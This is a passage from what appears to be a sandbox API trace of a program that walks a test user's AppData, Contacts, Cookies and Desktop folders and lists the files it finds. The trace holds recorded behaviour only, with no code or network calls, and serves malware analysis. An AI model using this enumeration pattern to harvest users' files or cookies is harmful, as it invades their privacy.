HALPmcxz\\AppData\\") returned="AppData\\" [0124.370] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.370] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.370] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.370] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.370] PathFindFileNameW (pszPath="") returned="" [0124.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.370] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.370] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.370] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54a390a0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x54a390a0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Local", cAlternateFileName="")) returned 1 [0124.370] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0124.370] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd905ad20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd905ad20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Roaming", cAlternateFileName="")) returned 1 [0124.370] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd905ad20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd905ad20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Roaming", cAlternateFileName="")) returned 0 [0124.370] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.370] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.370] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.370] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.370] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0124.370] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.370] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.370] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.370] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.370] PathFindFileNameW (pszPath="") returned="" [0124.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd905ad20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd905ad20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0124.371] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x810000) returned 1 [0124.371] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.371] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed320 | out: hHeap=0x810000) returned 1 [0124.371] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.371] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0124.371] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.371] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.371] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.371] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.371] PathFindFileNameW (pszPath="") returned="" [0124.371] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.371] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed320 | out: hHeap=0x810000) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0124.371] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.371] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.371] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.372] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.372] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0124.372] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.372] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.372] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.372] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.372] PathFindFileNameW (pszPath="") returned="" [0124.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0124.372] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.372] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.372] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.372] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.372] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0124.372] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.372] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.372] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.372] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.372] PathFindFileNameW (pszPath="") returned="" [0124.372] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144b07e0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x144b07e0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.372] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.372] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144b07e0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x144b07e0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.372] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e149cb0, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0xdb4d4940, ftLastAccessTime.dwHighDateTime=0x1d5e3ec, ftLastWriteTime.dwLowDateTime=0xdb4d4940, ftLastWriteTime.dwHighDateTime=0x1d5e3ec, nFileSizeHigh=0x0, nFileSizeLow=0xc77a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="-E3i.jpg", cAlternateFileName="")) returned 1 [0124.372] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffa1620, ftCreationTime.dwHighDateTime=0x1d5e552, ftLastAccessTime.dwLowDateTime=0x50ba96b0, ftLastAccessTime.dwHighDateTime=0x1d5e569, ftLastWriteTime.dwLowDateTime=0x50ba96b0, ftLastWriteTime.dwHighDateTime=0x1d5e569, nFileSizeHigh=0x0, nFileSizeLow=0x109a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="1fgla.mp4", cAlternateFileName="")) returned 1 [0124.372] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658cdc0, ftCreationTime.dwHighDateTime=0x1d5e3d5, ftLastAccessTime.dwLowDateTime=0x650d2820, ftLastAccessTime.dwHighDateTime=0x1d5e0d3, ftLastWriteTime.dwLowDateTime=0x650d2820, ftLastWriteTime.dwHighDateTime=0x1d5e0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1787c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="1hhD8hoUWopvU.m4a", cAlternateFileName="1HHD8H~1.M4A")) returned 1 [0124.372] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83d45790, ftCreationTime.dwHighDateTime=0x1d5e1b1, ftLastAccessTime.dwLowDateTime=0xbb55a330, ftLastAccessTime.dwHighDateTime=0x1d5e2d9, ftLastWriteTime.dwLowDateTime=0xbb55a330, ftLastWriteTime.dwHighDateTime=0x1d5e2d9, nFileSizeHigh=0x0, nFileSizeLow=0x103be, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2C_1.mp3", cAlternateFileName="")) returned 1 [0124.372] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb73e7340, ftCreationTime.dwHighDateTime=0x1d5e779, ftLastAccessTime.dwLowDateTime=0x216df690, ftLastAccessTime.dwHighDateTime=0x1d5deb1, ftLastWriteTime.dwLowDateTime=0x216df690, ftLastWriteTime.dwHighDateTime=0x1d5deb1, nFileSizeHigh=0x0, nFileSizeLow=0x104b2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3KShRcF.ppt", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e13c60, ftCreationTime.dwHighDateTime=0x1d5d989, ftLastAccessTime.dwLowDateTime=0x5caca830, ftLastAccessTime.dwHighDateTime=0x1d5e804, ftLastWriteTime.dwLowDateTime=0x5caca830, ftLastWriteTime.dwHighDateTime=0x1d5e804, nFileSizeHigh=0x0, nFileSizeLow=0x18fd3, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3RojuHrbe-bfp0nbccK.gif", cAlternateFileName="3ROJUH~1.GIF")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711c64e0, ftCreationTime.dwHighDateTime=0x1d5da76, ftLastAccessTime.dwLowDateTime=0xa5f31af0, ftLastAccessTime.dwHighDateTime=0x1d5deb4, ftLastWriteTime.dwLowDateTime=0xa5f31af0, ftLastWriteTime.dwHighDateTime=0x1d5deb4, nFileSizeHigh=0x0, nFileSizeLow=0x599d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="4k-NhBHWCQsrB9HktG.ppt", cAlternateFileName="4K-NHB~1.PPT")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff0ee710, ftCreationTime.dwHighDateTime=0x1d5e006, ftLastAccessTime.dwLowDateTime=0x7876020, ftLastAccessTime.dwHighDateTime=0x1d5dc29, ftLastWriteTime.dwLowDateTime=0x7876020, ftLastWriteTime.dwHighDateTime=0x1d5dc29, nFileSizeHigh=0x0, nFileSizeLow=0x8985, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="6 E2yImJTKh03Xs1.pptx", cAlternateFileName="6E2YIM~1.PPT")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7574a110, ftCreationTime.dwHighDateTime=0x1d5e13d, ftLastAccessTime.dwLowDateTime=0x7abfb780, ftLastAccessTime.dwHighDateTime=0x1d5e47c, ftLastWriteTime.dwLowDateTime=0x7abfb780, ftLastWriteTime.dwHighDateTime=0x1d5e47c, nFileSizeHigh=0x0, nFileSizeLow=0x4edb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="9--KsUoJ.wav", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b015c60, ftCreationTime.dwHighDateTime=0x1d5e472, ftLastAccessTime.dwLowDateTime=0x7507b110, ftLastAccessTime.dwHighDateTime=0x1d5dbf0, ftLastWriteTime.dwLowDateTime=0x7507b110, ftLastWriteTime.dwHighDateTime=0x1d5dbf0, nFileSizeHigh=0x0, nFileSizeLow=0x8a7c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="a8D2GLnw7ZaQJ5.mp3", cAlternateFileName="A8D2GL~1.MP3")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d7a8b0, ftCreationTime.dwHighDateTime=0x1d5e209, ftLastAccessTime.dwLowDateTime=0xa6cedd10, ftLastAccessTime.dwHighDateTime=0x1d5d7f2, ftLastWriteTime.dwLowDateTime=0xa6cedd10, ftLastWriteTime.dwHighDateTime=0x1d5d7f2, nFileSizeHigh=0x0, nFileSizeLow=0xdd21, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="aYzTNB.pdf", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3f7390, ftCreationTime.dwHighDateTime=0x1d5db4e, ftLastAccessTime.dwLowDateTime=0xc490a5d0, ftLastAccessTime.dwHighDateTime=0x1d5e7f7, ftLastWriteTime.dwLowDateTime=0xc490a5d0, ftLastWriteTime.dwHighDateTime=0x1d5e7f7, nFileSizeHigh=0x0, nFileSizeLow=0x15b06, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="CFPAfZk624G.swf", cAlternateFileName="CFPAFZ~1.SWF")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24ab8e0, ftCreationTime.dwHighDateTime=0x1d5e026, ftLastAccessTime.dwLowDateTime=0x801efbe0, ftLastAccessTime.dwHighDateTime=0x1d5deec, ftLastWriteTime.dwLowDateTime=0x801efbe0, ftLastWriteTime.dwHighDateTime=0x1d5deec, nFileSizeHigh=0x0, nFileSizeLow=0x1849, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ESSVJfazMJQYO.avi", cAlternateFileName="ESSVJF~1.AVI")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37820f0, ftCreationTime.dwHighDateTime=0x1d5dc99, ftLastAccessTime.dwLowDateTime=0x236ab200, ftLastAccessTime.dwHighDateTime=0x1d5e535, ftLastWriteTime.dwLowDateTime=0x236ab200, ftLastWriteTime.dwHighDateTime=0x1d5e535, nFileSizeHigh=0x0, nFileSizeLow=0x6703, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Flnt6SFHOdd1-kxVwgM2.png", cAlternateFileName="FLNT6S~1.PNG")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89429c70, ftCreationTime.dwHighDateTime=0x1d5de58, ftLastAccessTime.dwLowDateTime=0x535ba8c0, ftLastAccessTime.dwHighDateTime=0x1d5d973, ftLastWriteTime.dwLowDateTime=0x535ba8c0, ftLastWriteTime.dwHighDateTime=0x1d5d973, nFileSizeHigh=0x0, nFileSizeLow=0x5e7d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ghIXM.jpg", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: 